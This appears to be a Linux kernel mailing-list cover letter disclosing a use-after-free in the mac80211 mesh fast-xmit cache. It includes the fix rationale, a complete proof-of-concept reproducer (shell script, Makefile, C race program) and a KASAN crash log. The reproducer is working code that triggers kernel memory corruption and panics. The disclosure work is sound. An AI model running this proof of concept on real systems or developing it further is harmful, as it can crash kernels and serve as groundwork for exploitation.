mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH wireless v3 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF
@ 2026-09-18  5:26 Zihan Xi
  2026-09-18  5:26 ` [PATCH wireless v3 1/1] " Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-09-18  5:26 UTC (permalink / raw)
  To: Johannes Berg
  Cc: Zihan Xi, linux-wireless, linux-kernel, Ryder Lee, Felix Fietkau

Hi Linux kernel maintainers,

We found and validated an issue in
net/mac80211/mesh_pathtbl.c. The v3 validation below includes MODE=root and
MODE=namespace. Both modes were started by guest UID 0; poc.sh performs the
single unshare -Urn internally. These runs do not establish non-root
reachability.
We've tested it, and no other impact was observed in these tests.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

mesh_fast_tx_cache() stores raw pointers to mesh paths. Path deletion
flushes matching cache entries and then queues the path for RCU freeing
with kfree_rcu(), but a lookup that already holds the path in an RCU
read-side critical section can insert a new cache entry after the flush,
leaving the cache entry pointing at freed memory.

The KASAN report below follows the local-TX path:
ieee80211_mesh_xmit_fast() -> mesh_fast_tx_get().
The same cache is also consumed by
ieee80211_rx_mesh_fast_forward(), but this report covers only the local-TX
path.
The v3 validation also ran MODE=namespace from guest UID 0. The two
namespace-local radios reached mesh peer ESTAB in both trees. The unpatched
run recorded signature=1 with poc_rc=255 after the KASAN panic; the patched
run recorded signature=0 with poc_rc=137 after the harness timeout. These
are namespace smoke results, not clean process-exit results, and do not
establish non-root reachability.
The report was decoded with scripts/decode_stacktrace.sh using an
unpatched vmlinux built with CONFIG_DEBUG_INFO=y and
CONFIG_DEBUG_INFO_DWARF4=y. The kernel frames below include source
locations.

The cache was added in d5edb9ae8d56 ("wifi: mac80211: mesh fast
xmit support"). A later addition of GENL_UNS_ADMIN_PERM to the mpath
netlink commands made the namespace trigger easier to exercise; the
namespace smoke run above was still started by guest UID 0.

The fix sets MESH_PATH_DELETED before the flush and rejects cache
insertion if the path or MPP path is already deleted. The check runs
under the cache walk lock, ordering it with the flush.
The deletion-side flag updates use WRITE_ONCE() to match the
lockless READ_ONCE() checks while preserving the other path flags.

The reproducer consists of Makefile, poc.sh, and poc.c. poc.c links
against libnl-3 and libnl-genl-3. The v3 root-mode run used make followed
by RUN_SECONDS=60 MODE=root ./poc.sh. The namespace smoke run used
RUN_SECONDS=60 MODE=namespace ./poc.sh. That command must not be
wrapped in another unshare: poc.sh performs its single unshare -Urn
internally. Both validation commands started as guest UID 0, so the
namespace invocation is not a non-root test.
In namespace mode, the wrapper creates two mac80211_hwsim radios; both
modes join a mesh and race NL80211_CMD_NEW_MPATH /
NL80211_CMD_DEL_MPATH with local UDP transmission. packetdrill is not used
because it cannot express 802.11 mesh setup or nl80211 mpath control
operations.

Reproducer:

No ethtool runtime file is required, used, or copied by this reproducer.
Run the following from the directory containing the three attached files;
the complete guest preparation and run commands were:

    apt-get -o Acquire::Check-Valid-Until=false update
    apt-get -o Acquire::Check-Valid-Until=false install -y \
        --no-install-recommends gcc make pkg-config libnl-3-dev \
        libnl-genl-3-dev iw iproute2 ca-certificates
    mkdir -p /root/mesh-poc
    cp ./poc.c ./poc.sh ./Makefile /root/mesh-poc/
    cd /root/mesh-poc
    chmod +x poc.sh
    make
    RUN_SECONDS=60 MODE=root ./poc.sh
    RUN_SECONDS=60 MODE=namespace ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------
#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$SCRIPT_DIR"
PATH=/usr/sbin:/usr/bin:/sbin:/bin

MODE=${MODE:-namespace}
RUN_SECONDS=${RUN_SECONDS:-180}
SENDERS=${SENDERS:-4}
ADDERS=${ADDERS:-2}
DELETERS=${DELETERS:-2}
PAYLOAD_LEN=${PAYLOAD_LEN:-256}
ADD_PAUSE_US=${ADD_PAUSE_US:-100}
DEL_PAUSE_US=${DEL_PAUSE_US:-0}
MESH_ID=${MESH_ID:-mtest}
MESH_FREQ=${MESH_FREQ:-2412}

cleanup_root() {
	iw dev mesh0 del >/dev/null 2>&1 || true
	iw dev mesh1 del >/dev/null 2>&1 || true
}

wait_for_peer() {
	ifname=$1
	deadline=$(( $(date +%s) + 30 ))
	while [ "$(date +%s)" -lt "$deadline" ]; do
		if iw dev "$ifname" station dump | grep -q 'mesh plink:.*ESTAB'; then
			return 0
		fi
		sleep 1
	done
	return 1
}

make

if [ "$MODE" = "root" ]; then
	cleanup_root
	trap cleanup_root EXIT INT TERM

	iw phy phy0 interface add mesh0 type mp
	iw phy phy1 interface add mesh1 type mp

	ip link set mesh0 up
	ip link set mesh1 up

	iw dev mesh0 mesh join "$MESH_ID" freq "$MESH_FREQ"
	iw dev mesh1 mesh join "$MESH_ID" freq "$MESH_FREQ"

	wait_for_peer mesh0

	M0=$(cat /sys/class/net/mesh0/address)
	M1=$(cat /sys/class/net/mesh1/address)

	ip addr flush dev mesh0 >/dev/null 2>&1 || true
	ip addr flush dev mesh1 >/dev/null 2>&1 || true
	ip addr add 10.0.0.1/24 dev mesh0
	ip addr add 10.0.0.2/24 dev mesh1
	ip neigh replace 10.0.0.2 lladdr "$M1" nud permanent dev mesh0
	ip neigh replace 10.0.0.1 lladdr "$M0" nud permanent dev mesh1

	iw dev mesh0 mpath new "$M1" next_hop "$M1" >/dev/null 2>&1 || true

	echo 1 >/proc/sys/kernel/panic_on_warn

	echo "[*] mesh0=$M0 mesh1=$M1"
	echo "[*] mesh peers"
	iw dev mesh0 station dump || true
	echo "[*] initial mpath"
	iw dev mesh0 mpath dump || true

	exec ./poc -i mesh0 -a 10.0.0.2 -m "$M1" -n "$M1" -s "$RUN_SECONDS" \
		-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
		-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
fi

if [ "$MODE" != "namespace" ]; then
	echo "Unsupported MODE=$MODE" >&2
	exit 1
fi

if [ -z "${INSIDE_NAMESPACE:-}" ]; then
	exec unshare -Urn env INSIDE_NAMESPACE=1 MODE=namespace \
		RUN_SECONDS="$RUN_SECONDS" SENDERS="$SENDERS" ADDERS="$ADDERS" \
		DELETERS="$DELETERS" PAYLOAD_LEN="$PAYLOAD_LEN" \
		ADD_PAUSE_US="$ADD_PAUSE_US" DEL_PAUSE_US="$DEL_PAUSE_US" \
		MESH_ID="$MESH_ID" MESH_FREQ="$MESH_FREQ" PATH="$PATH" \
		sh ./poc.sh
fi

./poc -R 1 >/dev/null 2>&1 || true
./poc -R 1 >/dev/null 2>&1 || true
sleep 1

IFS0=$(iw dev | awk '/Interface/ {print $2}' | sed -n '1p')
IFS1=$(iw dev | awk '/Interface/ {print $2}' | sed -n '2p')

if [ -z "$IFS0" ] || [ -z "$IFS1" ]; then
	echo "Failed to provision two namespace-local hwsim radios" >&2
	exit 1
fi

iw dev "$IFS0" set type mp
iw dev "$IFS1" set type mp
ip link set "$IFS0" up
ip link set "$IFS1" up
iw dev "$IFS0" mesh join "$MESH_ID" freq "$MESH_FREQ"
iw dev "$IFS1" mesh join "$MESH_ID" freq "$MESH_FREQ"

wait_for_peer "$IFS0"

PEER=$(iw dev "$IFS0" station dump | awk '/^Station/ {print $2; exit}')
if [ -z "$PEER" ]; then
	echo "Failed to learn peer station MAC" >&2
	exit 1
fi

ip addr flush dev "$IFS0" >/dev/null 2>&1 || true
ip addr add 10.0.0.1/24 dev "$IFS0"
ip neigh replace 10.0.0.2 lladdr "$PEER" nud permanent dev "$IFS0"
iw dev "$IFS0" mpath new "$PEER" next_hop "$PEER" >/dev/null 2>&1 || true

echo "[*] namespace if0=$IFS0 if1=$IFS1 peer=$PEER"
echo "[*] mesh peers"
iw dev "$IFS0" station dump || true
echo "[*] initial mpath"
iw dev "$IFS0" mpath dump || true

exec ./poc -i "$IFS0" -a 10.0.0.2 -m "$PEER" -n "$PEER" -s "$RUN_SECONDS" \
	-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
	-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
------END poc.sh--------

------BEGIN Makefile------
CC ?= gcc
PKG_CONFIG ?= pkg-config

NL_CFLAGS != $(PKG_CONFIG) --cflags libnl-3.0 libnl-genl-3.0
NL_LIBS != $(PKG_CONFIG) --libs libnl-3.0 libnl-genl-3.0

CFLAGS += -O2 -g -Wall -Wextra -pthread $(NL_CFLAGS)
LDLIBS += -pthread $(NL_LIBS)

all: poc

poc: poc.c

clean:
	rm -f poc
------END Makefile--------

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define ETH_ALEN 6

enum hwsim_commands {
	HWSIM_CMD_UNSPEC,
	HWSIM_CMD_REGISTER,
	HWSIM_CMD_FRAME,
	HWSIM_CMD_TX_INFO_FRAME,
	HWSIM_CMD_NEW_RADIO,
};

enum hwsim_attrs {
	HWSIM_ATTR_UNSPEC,
	HWSIM_ATTR_ADDR_RECEIVER,
	HWSIM_ATTR_ADDR_TRANSMITTER,
	HWSIM_ATTR_FRAME,
	HWSIM_ATTR_FLAGS,
	HWSIM_ATTR_RX_RATE,
	HWSIM_ATTR_SIGNAL,
	HWSIM_ATTR_TX_INFO,
	HWSIM_ATTR_COOKIE,
	HWSIM_ATTR_CHANNELS,
};

struct cfg {
	char ifname[IFNAMSIZ];
	char dst_ip[INET_ADDRSTRLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char next_hop[ETH_ALEN];
	unsigned int seconds;
	unsigned int senders;
	unsigned int adders;
	unsigned int deleters;
	unsigned int payload_len;
	unsigned int add_pause_us;
	unsigned int del_pause_us;
	unsigned int hwsim_radios;
};

static struct cfg g_cfg = {
	.ifname = "mesh0",
	.dst_ip = "10.0.0.2",
	.seconds = 180,
	.senders = 4,
	.adders = 1,
	.deleters = 1,
	.payload_len = 256,
	.add_pause_us = 100,
	.del_pause_us = 0,
};

static atomic_bool stop_flag;
static atomic_ullong send_ok;
static atomic_ullong send_err;
static atomic_ullong add_ok;
static atomic_ullong add_exist;
static atomic_ullong add_err;
static atomic_ullong del_ok;
static atomic_ullong del_absent;
static atomic_ullong del_err;

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [-i ifname] [-a ip] [-m dst_mac] [-n next_hop] "
		"[-s seconds] [-t senders] [-A adders] [-D deleters] "
		"[-l payload_len] [-u add_pause_us] [-v del_pause_us] "
		"[-R create_radios]\n",
		prog);
}

static int parse_mac(const char *text, unsigned char mac[ETH_ALEN])
{
	unsigned int bytes[ETH_ALEN];
	size_t i;

	if (sscanf(text, "%02x:%02x:%02x:%02x:%02x:%02x",
		   &bytes[0], &bytes[1], &bytes[2],
		   &bytes[3], &bytes[4], &bytes[5]) != ETH_ALEN)
		return -1;

	for (i = 0; i < ETH_ALEN; i++)
		mac[i] = bytes[i];

	return 0;
}

static const char *mac_to_str(const unsigned char mac[ETH_ALEN], char *buf,
			      size_t len)
{
	snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
		 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
	return buf;
}

static void pin_to_cpu(unsigned int index)
{
	long ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	cpu_set_t cpus;

	if (ncpus <= 0)
		return;

	CPU_ZERO(&cpus);
	CPU_SET(index % (unsigned int)ncpus, &cpus);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(cpus), &cpus);
}

static void sleep_us(unsigned int usec)
{
	struct timespec ts;

	if (!usec)
		return;

	ts.tv_sec = usec / 1000000U;
	ts.tv_nsec = (long)(usec % 1000000U) * 1000L;
	while (nanosleep(&ts, &ts) && errno == EINTR)
		;
}

static void stop_now(int signo)
{
	(void)signo;
	atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
}

static int nl80211_family(struct nl_sock *sock)
{
	if (genl_connect(sock) < 0)
		return -1;

	return genl_ctrl_resolve(sock, "nl80211");
}

static int hwsim_new_radio_once(struct nl_sock *sock, int family_id,
				unsigned int channels)
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, HWSIM_CMD_NEW_RADIO, 1)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, HWSIM_ATTR_CHANNELS, channels);
	if (err < 0) {
		nlmsg_free(msg);
		return err;
	}

	err = nl_send_auto(sock, msg);
	if (err >= 0)
		err = nl_wait_for_ack(sock);

	nlmsg_free(msg);
	return err;
}

static int create_hwsim_radios(unsigned int count)
{
	struct nl_sock *sock;
	int family_id;
	unsigned int i;

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(hwsim) failed\n");
		return EXIT_FAILURE;
	}

	if (genl_connect(sock) < 0) {
		fprintf(stderr, "genl_connect(hwsim) failed\n");
		nl_socket_free(sock);
		return EXIT_FAILURE;
	}

	family_id = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
	if (family_id < 0) {
		fprintf(stderr, "genl_ctrl_resolve(MAC80211_HWSIM) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		return EXIT_FAILURE;
	}

	for (i = 0; i < count; i++) {
		int err = hwsim_new_radio_once(sock, family_id, 1);

		if (err < 0) {
			fprintf(stderr, "new_radio_once[%u] failed: %d (%s)\n",
				i, err, nl_geterror(err));
			nl_socket_free(sock);
			return EXIT_FAILURE;
		}
	}

	printf("created %u hwsim radio(s)\n", count);
	nl_socket_free(sock);
	return EXIT_SUCCESS;
}

static int add_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
			  const unsigned char dst[ETH_ALEN],
			  const unsigned char next_hop[ETH_ALEN])
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_NEW_MPATH, 0)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MPATH_NEXT_HOP, ETH_ALEN, next_hop);
	if (err < 0)
		goto out;

	err = nl_send_auto(sock, msg);
	if (err < 0)
		goto out;

	err = nl_wait_for_ack(sock);

out:
	nlmsg_free(msg);
	return err;
}

static int del_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
			  const unsigned char dst[ETH_ALEN])
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_DEL_MPATH, 0)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
	if (err < 0)
		goto out;

	err = nl_send_auto(sock, msg);
	if (err < 0)
		goto out;

	err = nl_wait_for_ack(sock);

out:
	nlmsg_free(msg);
	return err;
}

static void *adder_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct nl_sock *sock;
	int family_id;
	int ifindex;

	pin_to_cpu(g_cfg.senders + thread_index);

	ifindex = if_nametoindex(g_cfg.ifname);
	if (!ifindex) {
		perror("if_nametoindex");
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(add) failed\n");
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	family_id = nl80211_family(sock);
	if (family_id < 0) {
		fprintf(stderr, "nl80211 family resolve(add) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int err = add_mpath_once(sock, family_id, ifindex,
					 g_cfg.dst_mac, g_cfg.next_hop);

		if (!err) {
			atomic_fetch_add_explicit(&add_ok, 1, memory_order_relaxed);
			sleep_us(g_cfg.add_pause_us);
			continue;
		}

		if (err == -NLE_EXIST) {
			atomic_fetch_add_explicit(&add_exist, 1,
						  memory_order_relaxed);
			sleep_us(g_cfg.add_pause_us);
			continue;
		}

		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
	}

	nl_socket_free(sock);
	return NULL;
}

static void *deleter_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct nl_sock *sock;
	int family_id;
	int ifindex;

	pin_to_cpu(g_cfg.senders + g_cfg.adders + thread_index);

	ifindex = if_nametoindex(g_cfg.ifname);
	if (!ifindex) {
		perror("if_nametoindex");
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(del) failed\n");
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	family_id = nl80211_family(sock);
	if (family_id < 0) {
		fprintf(stderr, "nl80211 family resolve(del) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int err = del_mpath_once(sock, family_id, ifindex, g_cfg.dst_mac);

		if (!err) {
			atomic_fetch_add_explicit(&del_ok, 1, memory_order_relaxed);
			sleep_us(g_cfg.del_pause_us);
			continue;
		}

		if (err == -NLE_OBJ_NOTFOUND || err == -NLE_NOADDR ||
		    err == -NLE_FAILURE) {
			atomic_fetch_add_explicit(&del_absent, 1,
						  memory_order_relaxed);
			sleep_us(g_cfg.del_pause_us);
			continue;
		}

		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
	}

	nl_socket_free(sock);
	return NULL;
}

static void *sender_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
		.sin_port = htons(9),
	};
	int fd;
	char *payload;

	pin_to_cpu(thread_index);

	if (inet_pton(AF_INET, g_cfg.dst_ip, &dst.sin_addr) != 1) {
		fprintf(stderr, "inet_pton(%s) failed\n", g_cfg.dst_ip);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket");
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, g_cfg.ifname,
		       strlen(g_cfg.ifname) + 1) < 0) {
		perror("SO_BINDTODEVICE");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	if (connect(fd, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
		perror("connect");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	payload = malloc(g_cfg.payload_len);
	if (!payload) {
		perror("malloc");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	memset(payload, 'A' + (thread_index % 26), g_cfg.payload_len);

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		ssize_t ret = send(fd, payload, g_cfg.payload_len, MSG_NOSIGNAL);

		if (ret == (ssize_t)g_cfg.payload_len)
			atomic_fetch_add_explicit(&send_ok, 1, memory_order_relaxed);
		else
			atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
	}

	free(payload);
	close(fd);
	return NULL;
}

static void *progress_thread(void *arg)
{
	(void)arg;

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		sleep(1);
		printf("stats send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
		       "add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
		       (unsigned long long)atomic_load_explicit(&send_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&send_err,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_exist,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_err,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_absent,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_err,
						memory_order_relaxed));
		fflush(stdout);
	}

	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t *threads = NULL;
	pthread_t progress;
	size_t total_threads;
	size_t idx = 0;
	char dst_buf[18];
	char nh_buf[18];
	int opt;
	unsigned int i;
	int ret = EXIT_SUCCESS;

	while ((opt = getopt(argc, argv, "i:a:m:n:s:t:A:D:l:u:v:R:h")) != -1) {
		switch (opt) {
		case 'i':
			strncpy(g_cfg.ifname, optarg, sizeof(g_cfg.ifname) - 1);
			g_cfg.ifname[sizeof(g_cfg.ifname) - 1] = '\0';
			break;
		case 'a':
			strncpy(g_cfg.dst_ip, optarg, sizeof(g_cfg.dst_ip) - 1);
			g_cfg.dst_ip[sizeof(g_cfg.dst_ip) - 1] = '\0';
			break;
		case 'm':
			if (parse_mac(optarg, g_cfg.dst_mac) < 0) {
				fprintf(stderr, "invalid dst MAC: %s\n", optarg);
				return EXIT_FAILURE;
			}
			break;
		case 'n':
			if (parse_mac(optarg, g_cfg.next_hop) < 0) {
				fprintf(stderr, "invalid next-hop MAC: %s\n",
					optarg);
				return EXIT_FAILURE;
			}
			break;
		case 's':
			g_cfg.seconds = strtoul(optarg, NULL, 0);
			break;
		case 't':
			g_cfg.senders = strtoul(optarg, NULL, 0);
			break;
		case 'A':
			g_cfg.adders = strtoul(optarg, NULL, 0);
			break;
		case 'D':
			g_cfg.deleters = strtoul(optarg, NULL, 0);
			break;
		case 'l':
			g_cfg.payload_len = strtoul(optarg, NULL, 0);
			break;
		case 'u':
			g_cfg.add_pause_us = strtoul(optarg, NULL, 0);
			break;
		case 'v':
			g_cfg.del_pause_us = strtoul(optarg, NULL, 0);
			break;
		case 'R':
			g_cfg.hwsim_radios = strtoul(optarg, NULL, 0);
			break;
		default:
			usage(argv[0]);
			return opt == 'h' ? EXIT_SUCCESS : EXIT_FAILURE;
		}
	}

	if (g_cfg.hwsim_radios)
		return create_hwsim_radios(g_cfg.hwsim_radios);

	if (!g_cfg.senders || !g_cfg.adders || !g_cfg.deleters ||
	    !g_cfg.seconds || !g_cfg.payload_len ||
	    !memcmp(g_cfg.dst_mac, "\0\0\0\0\0\0", ETH_ALEN) ||
	    !memcmp(g_cfg.next_hop, "\0\0\0\0\0\0", ETH_ALEN)) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	signal(SIGINT, stop_now);
	signal(SIGTERM, stop_now);

	total_threads = g_cfg.senders + g_cfg.adders + g_cfg.deleters;
	threads = calloc(total_threads, sizeof(*threads));
	if (!threads) {
		perror("calloc");
		return EXIT_FAILURE;
	}

	printf("ifname=%s dst_ip=%s dst_mac=%s next_hop=%s seconds=%u "
	       "senders=%u adders=%u deleters=%u payload_len=%u "
	       "add_pause_us=%u del_pause_us=%u\n",
	       g_cfg.ifname, g_cfg.dst_ip,
	       mac_to_str(g_cfg.dst_mac, dst_buf, sizeof(dst_buf)),
	       mac_to_str(g_cfg.next_hop, nh_buf, sizeof(nh_buf)),
	       g_cfg.seconds, g_cfg.senders, g_cfg.adders, g_cfg.deleters,
	       g_cfg.payload_len, g_cfg.add_pause_us, g_cfg.del_pause_us);
	fflush(stdout);

	for (i = 0; i < g_cfg.senders; i++)
		pthread_create(&threads[idx++], NULL, sender_thread,
			       (void *)(unsigned long)i);
	for (i = 0; i < g_cfg.adders; i++)
		pthread_create(&threads[idx++], NULL, adder_thread,
			       (void *)(unsigned long)i);
	for (i = 0; i < g_cfg.deleters; i++)
		pthread_create(&threads[idx++], NULL, deleter_thread,
			       (void *)(unsigned long)i);

	pthread_create(&progress, NULL, progress_thread, NULL);
	sleep(g_cfg.seconds);
	atomic_store_explicit(&stop_flag, true, memory_order_relaxed);

	for (idx = 0; idx < total_threads; idx++)
		pthread_join(threads[idx], NULL);
	pthread_join(progress, NULL);

	printf("final send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
	       "add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
	       (unsigned long long)atomic_load_explicit(&send_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&send_err,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_exist,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_err,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_absent,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_err,
					memory_order_relaxed));
	fflush(stdout);

	free(threads);
	return ret;
}
------END poc.c--------

----BEGIN crash log----
[   40.280725] BUG: KASAN: slab-use-after-free in mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   40.281918] Read of size 4 at addr ffff88800d29abb8 by task poc/509
[   40.282887] 
[   40.283172] CPU: 1 UID: 0 PID: 509 Comm: poc Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   40.283186] Call Trace:
[   40.283195]  <TASK>
[   40.283196]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[   40.283226]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[   40.283309]  ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:363)
[   40.283319]  ? __virt_addr_valid (include/linux/mmzone.h:2119 (discriminator 1) include/linux/mmzone.h:2271 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))
[   40.283371]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   40.283375]  kasan_report (mm/kasan/report.c:595)
[   40.283379]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   40.283383]  mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   40.283388]  ? __pfx_mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:400)
[   40.283391]  ? filter_irq_stacks (kernel/stacktrace.c:397)
[   40.283433]  ? stack_depot_save_flags (lib/stackdepot.c:667)
[   40.283495]  ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:779)
[   40.283499]  ? kasan_save_stack (mm/kasan/common.c:58)
[   40.283503]  ? kasan_save_stack (mm/kasan/common.c:57)
[   40.283506]  ? kasan_save_track (mm/kasan/common.c:78)
[   40.283509]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   40.283512]  ? __alloc_frozen_pages_noprof (mm/page_alloc.c:4746 (discriminator 1) mm/page_alloc.c:5317 (discriminator 1))
[   40.283529]  ? __pfx_ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:699)
[   40.283533]  ? sock_alloc_send_pskb (net/core/sock.c:3013)
[   40.283602]  ? ip_make_skb (net/ipv4/ip_output.c:1572)
[   40.283635]  ? udp_sendmsg (net/ipv4/udp.c:1438)
[   40.283672]  ? __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[   40.283682]  ? __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[   40.283686]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   40.283703]  ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   40.283719]  __ieee80211_subif_start_xmit (net/mac80211/tx.c:4364)
[   40.283752]  ? __pfx___ieee80211_subif_start_xmit (net/mac80211/tx.c:3442)
[   40.283756]  ? skb_network_protocol (include/linux/skbuff.h:2534 include/linux/skbuff.h:2867 include/linux/skbuff.h:2882 include/linux/if_vlan.h:672 net/core/dev.c:3679)
[   40.283783]  ieee80211_subif_start_xmit (net/mac80211/tx.c:4607 (discriminator 1))
[   40.283787]  ? __pfx_ieee80211_subif_start_xmit (net/mac80211/tx.c:4421)
[   40.283790]  ? kasan_save_track (mm/kasan/common.c:78)
[   40.283794]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   40.283798]  dev_hard_start_xmit (include/linux/netdevice.h:5400 include/linux/netdevice.h:5409 net/core/dev.c:3889 net/core/dev.c:3905)
[   40.283802]  __dev_queue_xmit (net/core/dev.c:4878)
[   40.283806]  ? csum_partial (lib/checksum.c:119)
